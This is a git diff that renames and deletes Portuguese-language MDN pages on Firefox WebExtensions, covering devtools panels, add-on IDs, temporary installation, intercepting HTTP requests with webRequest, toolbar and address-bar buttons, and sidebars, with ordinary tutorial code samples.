
+ +

Executar código na janela de destino

+ +

The devtools.inspectedWindow.eval() provides one way to run code in the inspected window.

+ +

This is somewhat like using {{WebExtAPIRef("tabs.executeScript()")}} to inject a content script, but with one important difference:

+ + + +
+

Note that a clean view of the DOM is a security feature, intended to help prevent hostile pages from tricking extensions by redefining the behavior of native DOM functions. This means you need to be very careful using eval(), and should use a normal content script if you can.

+
+ +

Scripts loaded using devtools.inspectedWindow.eval() also don't see any JavaScript variables defined by content scripts.

+ +

Trabalhar com scripts de conteúdo

+ +

A devtools document doesn't have direct access to {{WebExtAPIRef("tabs.executeScript()")}}, so if you need to inject a content script, the devtools document must send a message to the background script asking it to inject the script. The devtools.inspectedWindow.tabId provides the ID of the target tab: the devtools document can pass this to the background script, and the background script can in turn pass it into {{WebExtAPIRef("tabs.executeScript()")}}:

+ +
// devtools-panel.js
+
+const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
+
+window.addEventListener("click", () => {
+  browser.runtime.sendMessage({
+    tabId: browser.devtools.inspectedWindow.tabId,
+    script: scriptToAttach
+  });
+});
+ +
// background.js
+
+function handleMessage(request, sender, sendResponse) {
+  browser.tabs.executeScript(request.tabId, {
+    code: request.script
+  });
+}
+
+browser.runtime.onMessage.addListener(handleMessage);
+ +

If you need to exchange messages between the content scripts running in the target window and a devtools document, it's a good idea to use the {{WebExtAPIRef("runtime.connect()")}} and {{WebExtAPIRef("runtime.onConnect")}} to set up a connection between the background page and the devtools document. The background page can then maintain a mapping between tab IDs and {{WebExtAPIRef("runtime.Port")}} objects, and use this to route messages between the two scopes.

+ +

+ +

Limitações das APIs de devtools

+ +

These APIs are based on the Chrome devtools APIs, but many features are still missing, compared with Chrome. This section lists the features that are still not implemented, as of Firefox 54. Note that the devtools APIs are under active development and we expect to add support for most of them in future releases.

+ +

devtools.inspectedWindow

+ +

The following are not supported:

+ + + +

None of the options to inspectedWindow.eval() are supported.

+ +

Scripts injected using inspectedWindow.eval() can't use any of the Console's command-line helper functions, like $0.

+ +

devtools.network

+ +

The following are not supported:

+ + + +

devtools.panels

+ +

O seguinte não é suportado:

+ + + +

Exemplos

+ +

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

+ + diff --git a/files/pt-pt/mozilla/add-ons/webextensions/extennsoesweb_e_a_id_do_extra/index.html b/files/pt-pt/mozilla/add-ons/webextensions/extennsoesweb_e_a_id_do_extra/index.html deleted file mode 100644 index a462a1c02d..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/extennsoesweb_e_a_id_do_extra/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Extensões e a Id. do extra -slug: Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra -tags: - - Extensões da Web - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID ---- -
{{AddonSidebar}}
- -
-

Os extras do Firefox contêm uma Id. única que é utilziada para distinguir este extra de qualquer outro extra do Firefox.

- -

Este artigo descreve como as Ids. de extra são tratados para as extensões criadas com APIs WebExtensions.

-
- -

Firefox add-ons contain a unique identifier which is used both inside Firefox itself and on the addons.mozilla.org (AMO) website. For example, it's used by Firefox to check for updates to installed add-ons and to identify which objects (such as data stores) are controlled by this add-on.

- -

With older types of Firefox add-on, the add-on developer must set the add-on ID explicitly. XUL/XPCOM add-ons set the ID in the install manifest, while SDK add-ons set it in the package.json.

- -

However, from Firefox 48 you can develop, debug, publish, and update extensions without needing to set an explicit ID at all.

- -
-

Note that the ability to develop and debug WebExtensions that don't include an ID is new in Firefox 48. If you need to use an earlier version of Firefox, then you must use the applications key to set an ID explicitly.

-
- -

Basic workflow with no add-on ID

- -

Extensions can explicitly set the add-on ID using the applications key in manifest.json. However, this key is usually optional. If you don't set it, then you can usually develop, debug, publish, and update your extension without ever having to deal with an ID. One advantage of this is that Google Chrome does not recognize the applications key and will show a warning if you include it.

- -

Note, though, that some WebExtension APIs use the add-on ID and expect it to be the same from one browser session to the next. If you use these APIs in Firefox, then you must set the ID explicitly using the applications key. See When do you need an Add-on ID?.

- -

Developing and debugging

- -

Starting in Firefox 48, if your manifest.json does not contain an ID then the extension will be assigned a randomly-generated temporary ID when you install it in Firefox through about:debugging. If you then reload the extension using the "Reload" button, the same ID will be used. If you then restart Firefox and load the add-on again, it will get a new ID.

- -

If you turn the extension into an .xpi or .zip and install it through about:addons, it will not work. To have it work in this scenario, you will need to add in the applications key in manifest.json

- -

Publishing

- -

Once you have finished developing the extension, you can package it and submit it to AMO for review and signing. If the packaged extension you upload does not contain an ID, AMO will generate one for you. It's only at this point that the add-on will be assigned a permanent ID, which will be embedded in the signed packaged extension.

- -

Note that once an extension has been given a permanent ID, you can't then update it to use the Add-on SDK or legacy XUL/XPCOM techniques. If you do switch to one of these platforms, you must submit it as a distinct new add-on, with a new ID.

- -

Updating

- -

Even after this point, though, you don't generally have to deal with the ID at all. You can continue to develop the add-on without an ID, and when you want to update, upload the new version by visiting the add-on's AMO page. Because you are uploading the add-on through that page, AMO knows that this is an update to this particular add-on, even though it doesn't contain an ID.

- -
-

It's essential with this workflow that you update the add-on manually using its page on AMO, otherwise AMO will not understand that the submission is an update to an existing add-on, and will treat the update as a brand-new add-on.

-
- -

You can do the same thing if you are updating from an older add-on type, such as a XUL/XPCOM add-on, to use WebExtensions APIs. Just visit the old add-on's page on AMO, upload the new extension there, and it will be treated as an update to the old version.

- -

Quando é que precisa de uma Id. de extra?

- - - -

 

- -

 

- -

 

diff --git "a/files/pt-pt/mozilla/add-ons/webextensions/extens\303\243o_das_ferramentas_de_desenvolvimento/index.html" "b/files/pt-pt/mozilla/add-ons/webextensions/extens\303\243o_das_ferramentas_de_desenvolvimento/index.html" deleted file mode 100644 index dc98e7fd37..0000000000 --- "a/files/pt-pt/mozilla/add-ons/webextensions/extens\303\243o_das_ferramentas_de_desenvolvimento/index.html" +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Extensão das ferramentas de desenvolvimento -slug: Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento -translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools ---- -
{{AddonSidebar}}
- -
-

Esta página descreve as APIs das devtools  que existem no Firefox 55. Embora as APIs sejam baseadas nas APIs de devtools do Chrome, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

-
- -

Pode utilizar as APIs das Extensões da Web para ampliar as ferramentas de desenvollvimento integradas no navegador. Para criar a extensão devtools, inclua a chave "devtools_page" no manifest.json:

- -
"devtools_page": "devtools/devtools-page.html"
- -

O valor desta chave é um URL a apontar para um ficheiro HTML que foi incorporado com a sua extensão. O URL deverá ser relativo ao próprio ficheiro manifest.json.

- -

O ficheiro HTML define uma página especial na extensão, chamada de página devtools.

- -

A página devtools

- -

The devtools page is loaded when the browser devtools are opened, and unloaded when it is closed. Note that because the devtools window is associated with a single tab, it's quite possible for more than one devtools window - hence more than one devtools page - to exist at the same time.

- -

The devtools page doesn't have any visible DOM, but can include JavaScript sources using <script> tags. The sources must be bundled with the extension itself. The sources get access to:

- - - -

Note that the devtools page does not get access to any other WebExtension APIs, and the background page doesn't get access to the devtools APIs. Instead, the devtools page and the background page must communicate using the runtime messaging APIs.

- -

Criar painéis

- -

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

- -

Using the devtools.panels.create() API, you can create your own panel in the devtools window:

- -
browser.devtools.panels.create(
-  "My Panel",                      // title
-  "icons/star.png",                // icon
-  "devtools/panel/panel.html"      // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(initialisePanel);
-  newPanel.onHidden.addListener(unInitialisePanel);
-});
- -

This takes three mandatory arguments: the panel's title, icon, and content. It returns a Promise which resolves to a devtools.panels.ExtensionPanel object representing the new panel.

- -

Interagir com a janela de destino

- -

The developer tools are always attached to a particular browser tab. This is referred to as the "target" for the developer tools, or the "inspected window". You can interact with the inspected window using the devtools.inspectedWindow API.

- -

Executar código na janela de destino

- -

The devtools.inspectedWindow.eval() provides one way to run code in the inspected window.

- -

This is somewhat like using {{WebExtAPIRef("tabs.executeScript()")}} to inject a content script, but with one important difference:

- - - -
-

Note that a clean view of the DOM is a security feature, intended to help prevent hostile pages from tricking extensions by redefining the behavior of native DOM functions. This means you need to be very careful using eval(), and should use a normal content script if you can.

-
- -

Scripts loaded using devtools.inspectedWindow.eval() also don't see any JavaScript variables defined by content scripts.

- -

Trabalhar com scripts de conteúdo

- -

A devtools document doesn't have direct access to {{WebExtAPIRef("tabs.executeScript()")}}, so if you need to inject a content script, the devtools document must send a message to the background script asking it to inject the script. The devtools.inspectedWindow.tabId provides the ID of the target tab: the devtools document can pass this to the background script, and the background script can in turn pass it into {{WebExtAPIRef("tabs.executeScript()")}}:

- -
// devtools-panel.js
-
-const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
-
-window.addEventListener("click", () => {
-  browser.runtime.sendMessage({
-    tabId: browser.devtools.inspectedWindow.tabId,
-    script: scriptToAttach
-  });
-});
- -
// background.js
-
-function handleMessage(request, sender, sendResponse) {
-  browser.tabs.executeScript(request.tabId, {
-    code: request.script
-  });
-}
-
-browser.runtime.onMessage.addListener(handleMessage);
- -

If you need to exchange messages between the content scripts running in the target window and a devtools document, it's a good idea to use the {{WebExtAPIRef("runtime.connect()")}} and {{WebExtAPIRef("runtime.onConnect")}} to set up a connection between the background page and the devtools document. The background page can then maintain a mapping between tab IDs and {{WebExtAPIRef("runtime.Port")}} objects, and use this to route messages between the two scopes.

- -

- -

Limitações das APIs de devtools

- -

These APIs are based on the Chrome devtools APIs, but many features are still missing, compared with Chrome. This section lists the features that are still not implemented, as of Firefox 54. Note that the devtools APIs are under active development and we expect to add support for most of them in future releases.

- -

devtools.inspectedWindow

- -

The following are not supported:

- - - -

None of the options to inspectedWindow.eval() are supported.

- -

Scripts injected using inspectedWindow.eval() can't use any of the Console's command-line helper functions, like $0.

- -

devtools.network

- -

The following are not supported:

- - - -

devtools.panels

- -

O seguinte não é suportado:

- - - -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/instalacao_temporaria_no_firefox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/instalacao_temporaria_no_firefox/index.html deleted file mode 100644 index 47730abceb..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/instalacao_temporaria_no_firefox/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Instalação temporária no Firefox -slug: Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox ---- -
{{AddonSidebar}}
- -

Este artigo descreve como um programador de extra (add-on) pode instalar temporariamente uma extensão no Firefox para testes e depuração. A extensão permanecerá instalada até que reinicie o Firefox. Pode utilizar este método com qualquer tipo de extensão sem reinício, incluindo as extensões bootstrapped e extras de Add-on SDK.

- -

Note that this is not how end users should install add-ons in Firefox. End users will install add-ons by downloading and opening packaged add-ons that have been signed by Mozilla. To learn how an extension developer can get an add-on packaged and signed, see Publishing your extension.

- -

To install an extension temporarily:

- - - -

The extension will be installed, and will stay installed until you restart Firefox.

- -

{{EmbedYouTube("cer9EUKegG4")}}

- -

Recarregar uma extensão temporária

- -

Starting in Firefox 48, there's a new button labeled "Reload" next to the extension's entry in about:debugging:

- -

This does what it says:

- - - -

{{EmbedYouTube("NuajE60jfGY")}}

- -
-

Note that in Firefox 48 only, "Reload" does not update the extension's name and description that are displayed in about:debugging and about:addons. This is fixed in Firefox 49.

-
- -

Utilizar a linha de comando

- -

If you are already using the command line for development, check out the web-ext tool. It automates the temporary installation step and automatically reloads your extension when its source code changes.

- -

Detetar instalaçao temporária

- -

Your extension can detect whether it was installed from about:debugging rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event, and check the value of details.temporary.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html new file mode 100644 index 0000000000..b938b514d4 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html @@ -0,0 +1,160 @@ +--- +title: Interceptar Pedidos HTTP +slug: Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP +tags: + - Add-ons + - Como-fazer + - Extensões + - ExtensõesWeb +translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests +--- +
{{AddonSidebar}}
+ +

Para interceptar pedidos HTTP,  use a {{WebExtAPIRef("webRequest")}} API. Esta API permite que você adicione ouvintes para várias etapas ao fazer uma solicitação HTTP. Nos ouvintes, você pode:

+ + + +

Neste articulo nós vamos dar uma olhada a tres usos diferentes para o modulo webRequest:

+ + + +

Loggar pedidos URLs

+ +

Crie um diretorio chamado "requests". Nesse diretorio crie um ficheiro chamado "manifest.json" com o seguinte conteudo:

+ +
{
+  "description": "Demonstração webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest",
+    "<all_urls>"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+}
+ +

De seguida, crie um ficheiro chamado "background.js" com o seguinte conteudo:

+ +
function logURL(requestDetails) {
+  console.log("A carregar: " + requestDetails.url);
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  logURL,
+  {urls: ["<all_urls>"]}
+);
+
+
+ +

Here we use {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} to call the logURL() function just before starting the request. The logURL() function grabs the URL of the request from the event object and logs it to the browser console. The {urls: ["<all_urls>"]} pattern means we will intercept HTTP requests to all URLs.

+ +

To test it out, install the extension, open the Browser Console, and open some Web pages. In the Browser Console, you should see the URLs for any resources that the browser requests:

+ +

{{EmbedYouTube("X3rMgkRkB1Q")}}

+ +

Redirecting requests

+ +

Now let's use webRequest to redirect HTTP requests. First, replace manifest.json with this:

+ +
{
+
+  "description": "Demonstrating webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest",
+    "webRequestBlocking",
+    "https://developer.mozilla.org/",
+    "https://mdn.mozillademos.org/"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+
+}
+ +

The only change here is to add the "webRequestBlocking" permission. We need to ask for this extra permission whenever we are actively modifying a request.

+ +

Next, replace "background.js" with this:

+ +
var pattern = "https://mdn.mozillademos.org/*";
+
+function redirect(requestDetails) {
+  console.log("Redirecting: " + requestDetails.url);
+  return {
+    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+  };
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  redirect,
+  {urls:[pattern], types:["image"]},
+  ["blocking"]
+);
+ +

Again, we use the {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} event listener to run a function just before each request is made. This function will replace the target URL with the redirectUrl specified in the function.

+ +

This time we are not intercepting every request: the {urls:[pattern], types:["image"]} option specifies that we should only intercept requests (1) to URLs residing under "https://mdn.mozillademos.org/" (2) for image resources. See {{WebExtAPIRef("webRequest.RequestFilter")}} for more on this.

+ +

Also note that we're passing an option called "blocking": we need to pass this whenever we want to modify the request. It makes the listener function block the network request, so the browser waits for the listener to return before continuing. See the {{WebExtAPIRef("webRequest.onBeforeRequest")}} documentation for more on "blocking".

+ +

To test it out, open a page on MDN that contains a lot of images (for example https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), reload the extension, and then reload the MDN page:

+ +

{{EmbedYouTube("ix5RrXGr0wA")}}

+ +

Modifying request headers

+ +

Finally we'll use webRequest to modify request headers. In this example we'll modify the "User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting pages under http://useragentstring.com/".

+ +

The "manifest.json" can stay the same as in the previous example.

+ +

Replace "background.js" with code like this:

+ +
var targetPage = "http://useragentstring.com/*";
+
+var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
+
+function rewriteUserAgentHeader(e) {
+  for (var header of e.requestHeaders) {
+    if (header.name.toLowerCase() == "user-agent") {
+      header.value = ua;
+    }
+  }
+  return {requestHeaders: e.requestHeaders};
+}
+
+browser.webRequest.onBeforeSendHeaders.addListener(
+  rewriteUserAgentHeader,
+  {urls: [targetPage]},
+  ["blocking", "requestHeaders"]
+);
+ +

Here we use the {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} event listener to run a function just before the request headers are sent.

+ +

The listener function will be called only for requests to URLs matching the targetPage pattern. Also note that we've again passed "blocking" as an option. We've also passed "requestHeaders", which means that the listener will be passed an array containing the request headers that we expect to send. See {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} for more information on these options.

+ +

The listener function looks for the "User-Agent" header in the array of request headers, replaces its value with the value of the ua variable, and returns the modified array. This modified array will now be sent to the server.

+ +

To test it out, open useragentstring.com and check that it identifies the browser as Firefox. Then reload the extension, reload useragentstring.com, and check that Firefox is now identified as Opera:

+ +

{{EmbedYouTube("SrSNS1-FIx0")}}

+ +

Learn more

+ +

To learn about all the things you can do with the webRequest API, see its reference documentation.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interceptar_pedidos_http/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interceptar_pedidos_http/index.html deleted file mode 100644 index b938b514d4..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interceptar_pedidos_http/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Interceptar Pedidos HTTP -slug: Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP -tags: - - Add-ons - - Como-fazer - - Extensões - - ExtensõesWeb -translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests ---- -
{{AddonSidebar}}
- -

Para interceptar pedidos HTTP,  use a {{WebExtAPIRef("webRequest")}} API. Esta API permite que você adicione ouvintes para várias etapas ao fazer uma solicitação HTTP. Nos ouvintes, você pode:

- - - -

Neste articulo nós vamos dar uma olhada a tres usos diferentes para o modulo webRequest:

- - - -

Loggar pedidos URLs

- -

Crie um diretorio chamado "requests". Nesse diretorio crie um ficheiro chamado "manifest.json" com o seguinte conteudo:

- -
{
-  "description": "Demonstração webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "<all_urls>"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-}
- -

De seguida, crie um ficheiro chamado "background.js" com o seguinte conteudo:

- -
function logURL(requestDetails) {
-  console.log("A carregar: " + requestDetails.url);
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  logURL,
-  {urls: ["<all_urls>"]}
-);
-
-
- -

Here we use {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} to call the logURL() function just before starting the request. The logURL() function grabs the URL of the request from the event object and logs it to the browser console. The {urls: ["<all_urls>"]} pattern means we will intercept HTTP requests to all URLs.

- -

To test it out, install the extension, open the Browser Console, and open some Web pages. In the Browser Console, you should see the URLs for any resources that the browser requests:

- -

{{EmbedYouTube("X3rMgkRkB1Q")}}

- -

Redirecting requests

- -

Now let's use webRequest to redirect HTTP requests. First, replace manifest.json with this:

- -
{
-
-  "description": "Demonstrating webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "webRequestBlocking",
-    "https://developer.mozilla.org/",
-    "https://mdn.mozillademos.org/"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-
-}
- -

The only change here is to add the "webRequestBlocking" permission. We need to ask for this extra permission whenever we are actively modifying a request.

- -

Next, replace "background.js" with this:

- -
var pattern = "https://mdn.mozillademos.org/*";
-
-function redirect(requestDetails) {
-  console.log("Redirecting: " + requestDetails.url);
-  return {
-    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
-  };
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  redirect,
-  {urls:[pattern], types:["image"]},
-  ["blocking"]
-);
- -

Again, we use the {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} event listener to run a function just before each request is made. This function will replace the target URL with the redirectUrl specified in the function.

- -

This time we are not intercepting every request: the {urls:[pattern], types:["image"]} option specifies that we should only intercept requests (1) to URLs residing under "https://mdn.mozillademos.org/" (2) for image resources. See {{WebExtAPIRef("webRequest.RequestFilter")}} for more on this.

- -

Also note that we're passing an option called "blocking": we need to pass this whenever we want to modify the request. It makes the listener function block the network request, so the browser waits for the listener to return before continuing. See the {{WebExtAPIRef("webRequest.onBeforeRequest")}} documentation for more on "blocking".

- -

To test it out, open a page on MDN that contains a lot of images (for example https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), reload the extension, and then reload the MDN page:

- -

{{EmbedYouTube("ix5RrXGr0wA")}}

- -

Modifying request headers

- -

Finally we'll use webRequest to modify request headers. In this example we'll modify the "User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting pages under http://useragentstring.com/".

- -

The "manifest.json" can stay the same as in the previous example.

- -

Replace "background.js" with code like this:

- -
var targetPage = "http://useragentstring.com/*";
-
-var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
-
-function rewriteUserAgentHeader(e) {
-  for (var header of e.requestHeaders) {
-    if (header.name.toLowerCase() == "user-agent") {
-      header.value = ua;
-    }
-  }
-  return {requestHeaders: e.requestHeaders};
-}
-
-browser.webRequest.onBeforeSendHeaders.addListener(
-  rewriteUserAgentHeader,
-  {urls: [targetPage]},
-  ["blocking", "requestHeaders"]
-);
- -

Here we use the {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} event listener to run a function just before the request headers are sent.

- -

The listener function will be called only for requests to URLs matching the targetPage pattern. Also note that we've again passed "blocking" as an option. We've also passed "requestHeaders", which means that the listener will be passed an array containing the request headers that we expect to send. See {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} for more information on these options.

- -

The listener function looks for the "User-Agent" header in the array of request headers, replaces its value with the value of the ua variable, and returns the modified array. This modified array will now be sent to the server.

- -

To test it out, open useragentstring.com and check that it identifies the browser as Firefox. Then reload the extension, reload useragentstring.com, and check that Firefox is now identified as Opera:

- -

{{EmbedYouTube("SrSNS1-FIx0")}}

- -

Learn more

- -

To learn about all the things you can do with the webRequest API, see its reference documentation.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/acoes_pagina/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/acoes_pagina/index.html deleted file mode 100644 index 7093d3355c..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/acoes_pagina/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Botão da barra de endereço -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina -tags: - - Extensões da Web - - Interface do Utilizador -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions ---- -
{{AddonSidebar}}
- -

Normalmente referido como uma ação da página, esta opção da inteface do utilizador é um botão adicionado à barra de endereço do navegador. Os utilziadores clicam no botão para interagir com a sua extensão.

- -

- -

Use this button when a feature is only relevant for some web pages. By default, the address bar button is hidden in all browser tabs, and you call pageAction.show() and pageAction.hide() to show or hide it in specific tabs.

- -

Compare to the toolbar button, which offers similar behavior but is used in situations where the extension's features are applicable to almost every web page.

- -

Especificar a ação da página

- -

You define the page action's properties using the page_action key in manifest.json:

- -
"page_action": {
-  "browser_style": true,
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?"
-}
- -

The only mandatory key is default_icon.

- -

There are two ways to specify a page action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using pageAction.onClicked:

- -
browser.pageAction.onClicked.addListener(handleClick);
- -

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

- -

Note that your extension can have one page action only.

- -

You can change any of the page action properties programmatically using the pageAction API.

- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use page action:

- - diff --git "a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/a\303\247\303\243o_navegador/index.html" "b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/a\303\247\303\243o_navegador/index.html" deleted file mode 100644 index c5da78003b..0000000000 --- "a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/a\303\247\303\243o_navegador/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Botão da Barra de Ferramentas -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador -tags: - - Extensão da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action ---- -
{{AddonSidebar}}
- -

Normalmente referido como uma ação do navegador, esta opção da interface do utilizador é um botão adicionado à barra de ferramentas do navegador. Os utilizadores clicam no botão para interagir com a sua extensão.
-

- -

The toolbar button (browser action) is very like the address bar button (page action). For the differences, and guidance on when to use what, see Page actions and browser actions.

- -

Especificar a ação do navegador

- -

Define as propriedades da ação do navegador utilizando a chave browser_action em manifest.json:

- -
"browser_action": {
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?"
-}
- -

The only mandatory key is default_icon.

- -

There are two ways to specify a browser action: with or without a popup. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using browserAction.onClicked:

- -
browser.browserAction.onClicked.addListener(handleClick);
- -

If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the Popup article for more details on creating and managing popups.

- -

Note that your extension can have only one browser action.

- -

You can change any of the browser action properties programmatically using the browserAction API.

- -

Ícones

- -

For details on how to create icons to use with your browser action, see Iconography in the Photon Design System documentation.

- -

Exemplos

- -

The webextensions-examples repository on GitHub contains two examples of extensions that implement browser actions:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/barras_laterais/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/barras_laterais/index.html deleted file mode 100644 index 2cfa1800a7..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/barras_laterais/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Barras laterais -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars ---- -
{{AddonSidebar}}
- -
-

 

- -

Uma barra lateral é um painel que é exibido no lado esquerdo da janela do navegador, ao lado da página da Web. O navegador fornece uma IU que permite ao utilizador ver as barras laterais atualmente disponíveis e selecionar uma barra lateral para exibir. Por exemplo, o Firefox tem um menu 'Ver -> Barra lateral'. Apenas pode ser exibida uma barra lateral de cada vez, e essa barra lateral será exibida para todos os separadores e todas as janelas do navegador.

- -

O navegador poderá incluir uma série de barras laterais integradas. Por exemplo, o Firefox inclui uma barra lateral para interagir com marcadores:

- -

Using the sidebar_action manifest.json key, an extension can add its own sidebar to the browser. It will be listed alongside the built-in sidebars, and the user will be able to open it using the same mechanism as for the built-in sidebars.

- -

Like a browser action popup, you specify the sidebar's contents as an HTML document. When the user opens the sidebar, its document is loaded into every open browser window. Each window gets its own instance of the document. When new windows are opened, they get their own sidebar documents as well.

- -

You can set a document for a particular tab using the {{WebExtAPIRef("sidebarAction.setPanel()")}} function. A sidebar can figure out which window it belongs to using the {{WebExtAPIRef("windows.getCurrent()")}} API:

- -
// sidebar.js
-browser.windows.getCurrent({populate: true}).then((windowInfo) => {
-  myWindowId = windowInfo.id;
-});
- -

This is useful if a sidebar wants to display different content for different windows. For an example of this, see the "annotate-page" example.

- -

Sidebar documents get access to the same set of privileged JavaScript APIs that the extension's background and popup scripts get. They can get direct access to the background page (unless the sidebar belongs to incognito mode window) using {{WebExtAPIRef("runtime.getBackgroundPage()")}}, and can interact with content scripts or native applications using messaging APIs like {{WebExtAPIRef("tabs.sendMessage()")}} and {{WebExtAPIRef("runtime.sendNativeMessage()")}}.

- -

Sidebar documents are unloaded when their browser window is closed or when the user closes the sidebar. This means that unlike background pages, sidebar documents don't stay loaded all the time, but unlike browser action popups, they stay loaded while the user interacts with web pages.

- -

When an extension that defines a sidebar is first installed, its sidebar will be opened automatically. This is intended to help the user understand that the extension includes a sidebar. Note that it's not possible for extension to open sidebars programmatically: sidebars can only be opened by the user.

- -

Especificar barras laterais

- -

To specify a sidebar, define the default document with the sidebar_action manifest.json key, alongside a default title and icon:

- -
"sidebar_action": {
-  "default_title": "My sidebar",
-  "default_panel": "sidebar.html",
-  "default_icon": "sidebar_icon.png"
-}
- -

You can change the title, panel, and icon programmatically using the {{WebExtAPIRef("sidebarAction")}} API.

- -

Title and icon are shown to the user in any UI provided by the browser to list sidebars, such as the "View > Sidebar" menu in Firefox.

- -

Exemplo

- -

O repositório de exemplos das extensões da Web no GitHub, contém vários exemplos de extensões que utilizam a barra lateral:

- - -
